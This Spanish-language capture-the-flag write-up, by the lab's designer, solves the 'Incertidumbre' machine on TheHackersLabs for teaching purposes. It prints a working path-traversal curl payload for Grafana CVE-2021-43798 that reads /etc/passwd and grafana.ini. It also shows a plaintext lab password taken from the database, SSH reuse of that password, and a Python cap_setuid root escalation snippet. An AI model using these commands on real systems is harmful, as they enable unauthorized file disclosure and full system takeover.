# Writeup: Incertidumbre (CTF Avanzado - Linux)
Table of Contents
Autor: Oscar | Senior Platform Engineer / SRE (15 años de experiencia)
Plataforma: TheHackersLabs | Dificultad: Avanzado | SO: Linux
Sobre este CTF
Este CTF lo diseñé para la comunidad de TheHackersLabs con un objetivo claro: representar errores de configuración y fallos de seguridad que he visto repetirse en entornos reales durante años gestionando infraestructura en producción.
No es un laboratorio artificial ni una cadena de explotación montada porque sí. Cada vector de ataque refleja un problema técnico que, en un sistema mal mantenido, puede terminar en un compromiso real.
En este writeup no solo muestro la resolución completa, desde la enumeración inicial hasta la obtención de root. También explico por qué cada fallo importa, qué decisión técnica lo hace posible y qué debería haberse evitado.
Información técnica
| Campo | Valor |
|---|---|
| IP | 10.0.2.15 |
| Servicios | SSH (22), HTTP (80), Grafana (3000) |
| Vectores principales | LFI → credenciales de base de datos → SSH → capabilities |
| Dificultad | Avanzado |
Enumeración
Escaneo de puertos
El primer paso es identificar los servicios expuestos en la máquina objetivo. Para ello realizamos un escaneo completo con Nmap:
sudo nmap -sSCV -p- -Pn -n --min-rate 5000 10.0.2.15Resultado:
PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)80/tcp open http Apache httpd 2.4.413000/tcp open ppp?Análisis inicial
El escaneo muestra tres puntos relevantes:
- Puerto 22 (SSH): Servicio OpenSSH 8.2p1 sobre Ubuntu. No parece explotable de forma directa en esta fase, pero sí puede ser útil más adelante si conseguimos credenciales válidas.
- Puerto 80 (HTTP): Apache 2.4.41 devuelve un
403 Forbidden. Eso confirma que hay un servicio web activo, aunque de momento no expone contenido útil. - Puerto 3000: Todo apunta a una instancia de Grafana, que terminará siendo la entrada principal.
Para validar si el puerto 80 ofrece algo más, se probaron herramientas básicas de reconocimiento:
whatweb 10.0.2.15curl -I 10.0.2.15Salida observada:
HTTP/1.1 403 ForbiddenServer: Apache/2.4.41 (Ubuntu)Content-Type: text/html; charset=iso-8859-1Comentario
El puerto 80 no aporta información útil en este punto. La superficie de ataque interesante está en Grafana, expuesto en el puerto 3000. Con eso ya tenemos una dirección clara para continuar.
Explotación
1. LFI en Grafana
La versión de Grafana detectada en el puerto 3000 es la 8.2.0, vulnerable a Local File Inclusion (LFI) mediante CVE-2021-43798.
Esta vulnerabilidad permite acceder a archivos arbitrarios del sistema sin necesidad de autenticación, aprovechando un fallo en la validación de rutas. En la práctica, esto abre la puerta a leer archivos sensibles del sistema operativo y de la propia aplicación.
Es un fallo crítico porque convierte un servicio expuesto en una vía directa de acceso a información interna del servidor.
Archivos obtenidos
Aprovechando esta vulnerabilidad, se extrajeron dos archivos clave.
/etc/passwd
Permite identificar usuarios presentes en el sistema, algo útil para fases posteriores.
curl --path-as-is http://10.0.2.15:3000/public/plugins/alertlist/../../../../../../../../etc/passwd/etc/grafana/grafana.ini
Es el archivo principal de configuración de Grafana. Su contenido revela credenciales utilizadas por el servicio para conectarse a la base de datos.
curl --path-as-is http://10.0.2.15:3000/public/plugins/alertlist/../../../../../../../../etc/grafana/grafana.iniComentario
Aquí aparece uno de los errores más comunes en entornos reales: secretos almacenados en ficheros de configuración accesibles para quien logra una lectura indebida.
El LFI no da ejecución directa, pero sí información suficiente para encadenar el siguiente paso. Eso es lo importante: muchas intrusiones reales no empiezan con una shell, empiezan con una mala exposición de datos.
2. Acceso a la base de datos
Con las credenciales extraídas del archivo grafana.ini, se accede a la base de datos de Grafana:
mysql -h 10.0.2.15 -u grafana -pUna vez dentro, se enumeran bases de datos y tablas:
show databases;use grafana_db;show tables;select * from users;Resultado relevante:
+---------+--------------------------------+| usuario | passwd |+---------+--------------------------------+| cloud | b0KjQXwH801dm2vnOgP2anEc8JGidc |+---------+--------------------------------+Análisis
En /etc/passwd ya se había identificado al usuario cloud con shell válida:
cloud:x:1001:1001::/home/cloud:/bin/bashAl combinar ese dato con la información recuperada desde la base de datos, obtenemos una credencial reutilizable para acceso remoto por SSH.
Ese encadenamiento es totalmente realista: un fallo en una aplicación expuesta permite leer configuración interna, la configuración lleva a una base de datos, y la base de datos termina revelando acceso válido a sistema.
3. Acceso inicial por SSH
Con el usuario cloud y la contraseña recuperada, el acceso por SSH funciona:
ssh cloud@10.0.2.15Comprobación de acceso:
whoamipwdSalida:
cloud/home/cloudComentario
Ya estamos dentro del sistema con un usuario real. A partir de aquí, la fase deja de ser puramente de explotación remota y pasa a centrarse en escalada de privilegios.
Escalada de privilegios
1. Revisión de sudo
Lo primero es revisar permisos sudo:
sudo -lSalida:
Matching Defaults entries for cloud on TheHackersLabs-Incertidumbre: env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
User cloud may run the following commands on TheHackersLabs-Incertidumbre: (ALL) NOPASSWD: /usr/local/bin/set_date.shAunque el usuario puede ejecutar ese script como root, no puede leerlo directamente:
cat /usr/local/bin/set_date.shResultado:
cat: /usr/local/bin/set_date.sh: Permission deniedComentario
Esto refleja otro patrón muy habitual: automatizaciones privilegiadas concedidas por conveniencia, sin revisión suficiente. Aunque en este caso no se explota esa vía, su sola presencia ya indica una superficie de riesgo clara.
2. Revisión de capabilities
El siguiente paso es revisar capacidades del sistema:
capsh --printY comprobar específicamente Python:
getcap /usr/bin/python3.8Resultado:
/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+epAnálisis
Este es el error crítico de la máquina. El binario de Python tiene asignada la capability cap_setuid, lo que permite cambiar el UID efectivo del proceso.
En términos prácticos, eso significa que un usuario sin privilegios puede convertir Python en una vía directa para ejecutar código como root.
Esto no es una rareza de laboratorio. En entornos reales aparece cuando se conceden privilegios excesivos a binarios comunes para resolver necesidades operativas rápidas, sin medir bien el impacto.
⚡ 3. Escalada a root con Python
Con esa capability, basta con lanzar Python y cambiar el UID a 0:
import osos.setuid(0)os.system("/bin/bash")Comprobación:
whoamiSalida:
rootYa tenemos control total del sistema.
Notas del autor
Este CTF no busca solo que alguien encadene pasos hasta llegar a root. Lo importante es entender qué representa cada fallo y por qué sigue ocurriendo en sistemas reales.
| Vector | Lo que enseña | Error real en producción |
|---|---|---|
| LFI en Grafana | Explotación de software expuesto y sin parchear | Servicios desactualizados por miedo a tocar producción |
Credenciales en grafana.ini | Exposición de secretos en configuración | Passwords en texto plano dentro de ficheros de servicio |
| Acceso SSH reutilizando credenciales | Reutilización insegura entre capas | Falta de separación entre aplicación, base de datos y sistema |
cap_setuid en Python | Privilegios excesivos en binarios comunes | Concesión de permisos peligrosos por comodidad operativa |
sudo NOPASSWD | Automatizaciones privilegiadas mal delegadas | Scripts críticos sin revisión de riesgo |
Mi objetivo al diseñar este laboratorio fue claro: que quien lo resuelva no se quede en la explotación, sino que entienda la cadena de malas decisiones técnicas que hace posible el compromiso completo del sistema.